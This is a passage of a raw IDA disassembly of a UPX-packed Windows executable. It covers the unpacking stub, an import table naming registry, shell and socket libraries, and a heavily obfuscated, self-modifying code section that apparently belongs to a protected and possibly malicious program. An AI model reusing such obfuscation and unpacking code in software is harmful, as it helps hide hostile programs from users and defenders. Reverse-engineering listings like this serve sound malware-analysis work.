		adc	ebx, ebx
		jnb	short loc_421AD0


loc_421AEC:				; CODE XREF: UPX1:00421AE1j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_421B00
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_421B72
		mov	ebp, eax


loc_421B00:				; CODE XREF: UPX1:00421AF1j
		add	ebx, ebx
		jnz	short loc_421B0B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421B0B:				; CODE XREF: UPX1:00421B02j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_421B18
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421B18:				; CODE XREF: UPX1:00421B0Fj
		adc	ecx, ecx
		jnz	short loc_421B3C
		inc	ecx


loc_421B1D:				; CODE XREF: UPX1:00421B2Cj
					; UPX1:00421B37j
		add	ebx, ebx
		jnz	short loc_421B28
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421B28:				; CODE XREF: UPX1:00421B1Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_421B1D
		jnz	short loc_421B39
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_421B1D


loc_421B39:				; CODE XREF: UPX1:00421B2Ej
		add	ecx, 2


loc_421B3C:				; CODE XREF: UPX1:00421B1Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_421B5C


loc_421B4D:				; CODE XREF: UPX1:00421B54j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_421B4D
		jmp	loc_421ABE
; ---------------------------------------------------------------------------
		align 4


loc_421B5C:				; CODE XREF: UPX1:00421B4Bj
					; UPX1:00421B69j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_421B5C
		add	edi, ecx
		jmp	loc_421ABE
; ---------------------------------------------------------------------------


loc_421B72:				; CODE XREF: UPX1:00421AFCj
		pop	esi
		mov	edi, esi
		mov	ecx, 9C1h


loc_421B7A:				; CODE XREF: UPX1:00421B81j
					; UPX1:00421B86j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_421B7F:				; CODE XREF: UPX1:00421BA4j
		cmp	al, 1
		ja	short loc_421B7A
		cmp	byte ptr [edi],	6
		jnz	short loc_421B7A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_421B7F
		lea	edi, [esi+1F000h]


loc_421BAC:				; CODE XREF: UPX1:00421BCEj
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_421BF7
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+21000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+210A0h]
		xchg	eax, ebp


loc_421BC9:				; CODE XREF: UPX1:00421BEFj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_421BAC
		mov	ecx, edi
		jns	short near ptr loc_421BDA+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_421BDA:				; CODE XREF: UPX1:00421BD2j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+210A4h]
		or	eax, eax
		jz	short loc_421BF1
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_421BC9
; ---------------------------------------------------------------------------


loc_421BF1:				; CODE XREF: UPX1:00421BE8j
		call	dword ptr [esi+210A8h]


loc_421BF7:				; CODE XREF: UPX1:00421BB0j
		popa
		jmp	near ptr dword_401000+157F1h
; ---------------------------------------------------------------------------
		align 800h
UPX1		ends

; Section 3. (virtual address 00022000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00022000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
UPX2		segment	para public 'DATA' use32
		assume cs:UPX2
		;org 422000h
dword_422000	dd 3 dup(0)		; DATA XREF: fzj3qwht:0042A15Co
					; sub_432992+9o
		dd 220E0h, 220A0h, 3 dup(0)
		dd 220EDh, 220B0h, 3 dup(0)
		dd 220FAh, 220B8h, 3 dup(0)
		dd 22105h, 220C0h, 3 dup(0)
		dd 22112h, 220C8h, 3 dup(0)
		dd 2211Eh, 220D0h, 3 dup(0)
		dd 22129h, 220D8h, 5 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0
		dd 77DD189Ah, 0
a@W		db '@¹Äw',0
		align 10h
		dd 7713BC68h, 0
aClbw		db '—‹Bw',0
		align 10h
aJW		db 'jÉÔw',0
		align 4
aTLq		db 'â]«q',0
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
aMsvcrt_dll	db 'MSVCRT.dll',0
aOleaut32_dll	db 'OLEAUT32.dll',0
aShell32_dll	db 'SHELL32.dll',0
aUser32_dll	db 'USER32.dll',0
aWs2_32_dll	db 'WS2_32.dll',0
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h
		dd 65726464h, 7373h, 74697845h,	636F7250h, 737365h, 65520000h
		dd 6F6C4367h, 654B6573h, 79h, 6C696563h, 68530000h, 456C6C65h
		dd 75636578h, 416574h, 73770000h, 6E697270h, 416674h, 39Ch dup(0)
UPX2		ends

; ---------------------------------------------------------------------------
; Section 4. (virtual address 00023000)
; Virtual size			: 00007000 (  28672.)
; Section size in file		: 00007000 (  28672.)
; Offset to raw	data for section: 00023000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
hjohnhn9	segment	para public 'CODE' use32
		assume cs:hjohnhn9
		;org 423000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		add	esi, 0F2008C74h
		jmp	sub_426098
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42300D:				; CODE XREF: hjohnhn9:004239C5j
		mov	eax, [ebp-0Ch]
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-125h]
		mov	[ebp-20h], eax
		jmp	loc_427F49
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287BF


loc_423022:				; CODE XREF: sub_4287BF-1571j
		jmp	loc_42369A
; END OF FUNCTION CHUNK	FOR sub_4287BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426475


loc_423027:				; CODE XREF: sub_426475+17j
		jmp	loc_4234D8
; END OF FUNCTION CHUNK	FOR sub_426475
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42626F


loc_42302C:				; CODE XREF: sub_42626F+13j
		jmp	loc_4242D9
; END OF FUNCTION CHUNK	FOR sub_42626F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42441D


loc_423031:				; CODE XREF: sub_42441D+4j
					; sub_425029:loc_426AD7j
		mov	eax, [ebp-0Ch]
		push	offset sub_42303E
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_42441D

; =============== S U B	R O U T	I N E =======================================



sub_42303E	proc near		; DATA XREF: sub_42441D-13E9o

; FUNCTION CHUNK AT 00424896 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427119 SIZE 00000014 BYTES

		movzx	eax, byte ptr [eax]


loc_423041:				; CODE XREF: sub_426A78:loc_426588j
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shl	eax, 0Ah
		jmp	loc_424896
sub_42303E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42304F	proc near		; DATA XREF: sub_427792-24DBo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0042306D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004237EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424218 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004243F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424A33 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00424D8C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00424F43 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004260B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426833 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426AE9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426C4F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426EF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427102 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004273B2 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 004274F9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00428079 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004282D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428AA2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428F45 SIZE 00000005 BYTES

		mov	ecx, [ebx+ecx+0Ch]


loc_423053:				; CODE XREF: sub_4287BF+Ej
		or	ecx, ecx
		jz	loc_4273B2
		mov	edx, [ebx+ecx]
		xor	edx, [ebx+ecx+4]
		cmp	edx, 7C61090Eh
		jmp	loc_4282D3
sub_42304F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_42306D:				; CODE XREF: sub_42304F:loc_426C4Fj
		mov	ebx, [eax+18h]
		jmp	loc_4260B8
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------


loc_423075:				; CODE XREF: hjohnhn9:00427F6Aj
		adc	ebx, 0EA4171D6h
		popf
		jp	loc_423CFC
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_423082:				; CODE XREF: sub_425BD2:loc_425F81j
		jmp	loc_42476D
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236A7


loc_423087:				; CODE XREF: sub_4236A7+26DFj
		pop	ebx
		sub	ebx, 0CE90282Ch
		xor	ebx, 6D2D7DF6h
		or	ebx, 7773C380h
		jmp	loc_4238EB
; END OF FUNCTION CHUNK	FOR sub_4236A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_42309F:				; CODE XREF: sub_42466E:loc_4289F8j
		jnz	loc_425DA9


loc_4230A5:				; CODE XREF: hjohnhn9:00424693j
		jmp	nullsub_102
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
		push	0F1F2C47Eh
		xchg	ecx, ebx
		test	ecx, 9233CFC0h
		jmp	loc_42822C
; ---------------------------------------------------------------------------


loc_4230BC:				; DATA XREF: sub_427C9B-35EAo
		add	edx, ebp
		add	edx, 3EA0911Dh
		call	sub_42466E
; START	OF FUNCTION CHUNK FOR sub_424631


loc_4230C9:				; CODE XREF: sub_424631+464Ej
		jmp	loc_423180
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_4230CE:				; CODE XREF: sub_423B05:loc_424B45j
		jz	loc_423A31
		jnz	loc_423505
		cdq
		jmp	loc_423A2B
; END OF FUNCTION CHUNK	FOR sub_423B05

; =============== S U B	R O U T	I N E =======================================



sub_4230E0	proc near		; CODE XREF: sub_4275A3:loc_426134p
					; hjohnhn9:00427579j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00425D9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042772C SIZE 0000001D BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	7B102949h
		pop	ebx
		rol	ebx, 2
		jmp	loc_425D9E
sub_4230E0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4230F2	proc near		; CODE XREF: sub_42855B:loc_427DCDj
		push	ebp
		push	offset sub_427BCE
		jmp	nullsub_103
sub_4230F2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426638


loc_4230FD:				; CODE XREF: sub_426638:loc_427F5Fj
		xor	edx, ds:4000F8h
		cmp	edx, 51638979h
		jmp	loc_427F44
; END OF FUNCTION CHUNK	FOR sub_426638
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E1


loc_42310F:				; CODE XREF: sub_4241E1+Cj
		jmp	nullsub_120
; END OF FUNCTION CHUNK	FOR sub_4241E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4250FC


loc_423114:				; CODE XREF: sub_4250FC-3DCj
		mov	ecx, eax
		pop	eax
		or	ecx, 9ED4A6B5h
		rol	ecx, 0Ah
		jmp	loc_427D19
; END OF FUNCTION CHUNK	FOR sub_4250FC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A30


loc_423126:				; CODE XREF: sub_426A30-2266j
		jmp	loc_426BBA
; END OF FUNCTION CHUNK	FOR sub_426A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_42312B:				; CODE XREF: sub_424161+440j
					; DATA XREF: sub_428192:loc_4247CFo
		pop	ebp
		mov	eax, ds:dword_423950
		or	eax, eax
		push	offset sub_4248B1
		jmp	nullsub_35
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
		adc	edi, eax
		jmp	sub_424D38
; ---------------------------------------------------------------------------


loc_423145:				; CODE XREF: hjohnhn9:00427A97j
		lea	eax, nullsub_1
		mov	byte ptr [eax],	0C3h
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_42314E:				; CODE XREF: sub_42325E:loc_425205j
		push	ecx
		push	6CA47921h
		jmp	loc_4276C0
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
		mov	[ebp-8], eax
		push	eax
		push	38908B4Ah
		xchg	edi, [esp]
		jmp	loc_425F6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426671


loc_42316A:				; CODE XREF: sub_426671-268Dj
		sub	edx, 7A4EC4C0h
		add	edx, 0AC572996h
		push	offset loc_428C2D
		jmp	nullsub_29
; END OF FUNCTION CHUNK	FOR sub_426671
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_423180:				; CODE XREF: sub_424631:loc_4230C9j
		mov	eax, [ebp+8]
		push	offset loc_426610
		jmp	loc_42368D
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287BF


loc_42318D:				; CODE XREF: sub_4287BF-1221j
		jnz	loc_42867B
		mov	eax, [ebp-4]
		inc	eax
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_42866C
; END OF FUNCTION CHUNK	FOR sub_4287BF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D6A


loc_4231A3:				; CODE XREF: sub_427D6A+12j
		jmp	loc_425121
; END OF FUNCTION CHUNK	FOR sub_427D6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4275A3


loc_4231A8:				; CODE XREF: sub_4275A3-18CCj
		jmp	nullsub_98
; END OF FUNCTION CHUNK	FOR sub_4275A3

; =============== S U B	R O U T	I N E =======================================



sub_4231AD	proc near		; CODE XREF: hjohnhn9:004231EBj
					; sub_4284CB-4843p

; FUNCTION CHUNK AT 004249DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424CEC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004265C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004268E5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00426A62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427555 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427FA4 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jz	loc_427555
		mov	eax, [ebp-4]
		mov	al, [eax]
		and	al, 0F6h
		jmp	loc_426A62
sub_4231AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426475


loc_4231C3:				; CODE XREF: sub_426475+A2Cj
		jge	loc_425B75
		xor	ecx, 0D2F1B6E9h
		jmp	loc_425B6B
; END OF FUNCTION CHUNK	FOR sub_426475
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_4231D4:				; CODE XREF: sub_42325E+42ECj
		jz	loc_428EBF


loc_4231DA:				; CODE XREF: hjohnhn9:00423FAFj
		jge	loc_427D13
		jmp	loc_4269A0
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
		xor	ecx, 61C8DFD6h
		jmp	sub_4231AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_4231F0:				; CODE XREF: sub_424161:loc_429022j
		or	eax, 0C35DC7D7h
		cmp	eax, 7D7341B6h
		jmp	loc_424D68
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423D67


loc_423201:				; CODE XREF: sub_423D67-672j
		pop	ebx
		xchg	ebx, [esp-4+arg_0]
		push	eax
		push	458343C8h
		pop	eax
		and	eax, 0FDA01D0Dh
		call	sub_4265A0
; END OF FUNCTION CHUNK	FOR sub_423D67
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_423217:				; CODE XREF: sub_426A78:loc_427436j
		jz	loc_426579
		jmp	loc_4250D5
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_423222:				; CODE XREF: sub_423B05:loc_4238B5j
		test	eax, eax
		jnz	loc_4250B4
		jmp	loc_42862B
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42873F


loc_42322F:				; CODE XREF: sub_42873F+17j
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_428748
		retn
; END OF FUNCTION CHUNK	FOR sub_42873F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_42323C:				; CODE XREF: sub_426354+16C7j
					; sub_427C9B+56j
		jmp	loc_4262EB
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426211


loc_423241:				; CODE XREF: sub_426211+16j
		jmp	loc_4250CF
; END OF FUNCTION CHUNK	FOR sub_426211
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_423246:				; CODE XREF: sub_427486-1357j
		jmp	loc_427921
; END OF FUNCTION CHUNK	FOR sub_427486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42873F


loc_42324B:				; CODE XREF: sub_42873F:loc_428748j
		sub	ebx, 10000h
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jmp	loc_4252D4
; END OF FUNCTION CHUNK	FOR sub_42873F

; =============== S U B	R O U T	I N E =======================================



sub_42325E	proc near		; DATA XREF: sub_423CDB+49D8o

var_18		= dword	ptr -18h

; FUNCTION CHUNK AT 0042314E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004231D4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00423283 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423A82 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423B46 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00423DF6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00423E36 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00424261 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424E6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425205 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004269A0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00426DF3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00426F50 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426FE2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427140 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00427535 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004276C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004276F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427BBD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428372 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428B46 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00428EBF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00428F20 SIZE 0000000C BYTES

		push	eax
		pop	ecx
		call	sub_425D27


loc_423265:				; CODE XREF: hjohnhn9:004280F1j
		jmp	loc_427BBD
sub_42325E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D02


loc_42326A:				; CODE XREF: sub_4263E3:loc_426C9Bj
					; sub_426D02+7F0j
		jmp	loc_428DAB
; END OF FUNCTION CHUNK	FOR sub_426D02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4235C9


loc_42326F:				; CODE XREF: sub_4235C9:loc_426FC2j
		ror	eax, 0Eh
		mov	ds:dword_4233A8, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4235C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B28


loc_423279:				; CODE XREF: sub_428B28+7j
		jmp	sub_424877
; END OF FUNCTION CHUNK	FOR sub_428B28
; ---------------------------------------------------------------------------


loc_42327E:				; CODE XREF: hjohnhn9:00425E01j
		jmp	loc_4242C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_423283:				; CODE XREF: sub_42325E+BF4j
		rol	eax, 0Eh
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_423288:				; CODE XREF: sub_4262C5:loc_42762Dj
		call	sub_4246DB
; END OF FUNCTION CHUNK	FOR sub_4262C5
; START	OF FUNCTION CHUNK FOR sub_426A30


loc_42328D:				; CODE XREF: sub_426A30:loc_427181j
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_4247C1
		jmp	loc_4288AD
; END OF FUNCTION CHUNK	FOR sub_426A30
; ---------------------------------------------------------------------------


loc_4232A1:				; CODE XREF: hjohnhn9:0042777Aj
		mov	byte ptr [ecx],	0E9h
		pop	ecx
		add	esi, 306850C2h
		xchg	esi, [esp]
		jmp	nullsub_1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236A7


loc_4232B4:				; CODE XREF: sub_4236A7+252j
		mov	esi, [eax]
		push	esi
		push	7F1739E3h
		pop	esi
		add	esi, 4759A1F6h
		jmp	loc_424F57
; END OF FUNCTION CHUNK	FOR sub_4236A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428357


loc_4232C8:				; CODE XREF: sub_428357+7j
		xor	[ebp-8], eax
		call	sub_4240BC

locret_4232D0:				; CODE XREF: sub_423E64-4B9j
		retn
; END OF FUNCTION CHUNK	FOR sub_428357
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4251EB


loc_4232D1:				; CODE XREF: sub_4251EB+E02j
		push	esi
		jl	loc_426A8A
		not	esi


loc_4232DA:				; CODE XREF: sub_4251EB:loc_425FDCj
		and	eax, 0ECD35A9h
		call	sub_423E64

locret_4232E5:				; CODE XREF: hjohnhn9:loc_423B39j
		retn
; END OF FUNCTION CHUNK	FOR sub_4251EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CB3


loc_4232E6:				; CODE XREF: sub_425CB3+18j
		jmp	loc_4240D4
; END OF FUNCTION CHUNK	FOR sub_425CB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_4232EB:				; CODE XREF: sub_4265CD-677j
		mov	edi, eax
		call	sub_428DF9
; END OF FUNCTION CHUNK	FOR sub_4265CD
; START	OF FUNCTION CHUNK FOR sub_424631


loc_4232F2:				; CODE XREF: sub_424631-122Fj
		jmp	loc_4244BE
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------


loc_4232F7:				; CODE XREF: hjohnhn9:loc_42500Aj
		jnz	loc_424D12
		jmp	loc_4268E0
; ---------------------------------------------------------------------------


loc_423302:				; DATA XREF: hjohnhn9:loc_424089o
		pop	esi
		mov	[ebp-4], eax
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jnz	loc_425BB8
		jmp	loc_424B6F
; ---------------------------------------------------------------------------
		xchg	ebx, [esi]
		add	ebp, ecx
		jmp	sub_428CE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42855B


loc_423320:				; CODE XREF: sub_42855B-2316j
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_428B08
		jmp	loc_427707
; END OF FUNCTION CHUNK	FOR sub_42855B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428183


loc_42332F:				; CODE XREF: sub_428183:loc_428B11j
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_424EAA
		jmp	sub_427C43
; ---------------------------------------------------------------------------


loc_42333E:				; CODE XREF: sub_428183:loc_424EAAj
		push	eax
		push	0
		call	sub_428192
		push	offset sub_428183
		jmp	loc_42335C
; END OF FUNCTION CHUNK	FOR sub_428183
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_423350:				; CODE XREF: sub_426354:loc_423451j
		jz	loc_427951
		jmp	loc_4238BA
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------

locret_42335B:				; CODE XREF: hjohnhn9:loc_4290E4j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428183


loc_42335C:				; CODE XREF: sub_428183-4E38j
		jmp	sub_4264AC
; END OF FUNCTION CHUNK	FOR sub_428183
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4250FC


loc_423361:				; CODE XREF: sub_4250FC:loc_4268E0j
		shl	edi, 1Eh
		jmp	loc_424D11
; END OF FUNCTION CHUNK	FOR sub_4250FC

; =============== S U B	R O U T	I N E =======================================



sub_423369	proc near		; CODE XREF: hjohnhn9:0042651Ej
					; sub_427564p

arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00423BE7 SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_427363
		push	ecx
		mov	ecx, [esp+arg_C]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_423BFB
		jmp	loc_423BE7
sub_423369	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_423388:				; CODE XREF: sub_423BC3:loc_42713Aj
		call	sub_426638
		pop	es
		aad	0D7h
; END OF FUNCTION CHUNK	FOR sub_423BC3
; ---------------------------------------------------------------------------
dword_423390	dd 3628EFCEh		; DATA XREF: sub_424698+C5r
					; sub_427C9B+1174w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_423394:				; CODE XREF: sub_424819+1C8Ej
		jmp	loc_424967
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
		db 0E2h, 7Ah, 0FEh
dword_42339C	dd 6E65DF9Ch		; DATA XREF: sub_4263E3r sub_427FDD+4w
dword_4233A0	dd 34EFCC2Dh		; DATA XREF: sub_426708:loc_4261BCr
					; sub_426AF6+7w
dword_4233A4	dd 0E8265DF9h		; DATA XREF: sub_426DFB-3960w
					; sub_4237F4+45DFr
dword_4233A8	dd 59BDDF9Ch		; DATA XREF: sub_4235C9-357w
dword_4233AC	dd 736A377Eh, 16D2E9h, 0A6610D00h, 88EFCFEh, 1191E9h, 33E8100h
					; DATA XREF: hjohnhn9:00425CE0w
					; hjohnhn9:00427E32r
dword_4233C4	dd 0			; DATA XREF: sub_428477:loc_4239D3w
					; sub_424A28:loc_424824r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_4233C8:				; CODE XREF: sub_426A78-4E6j
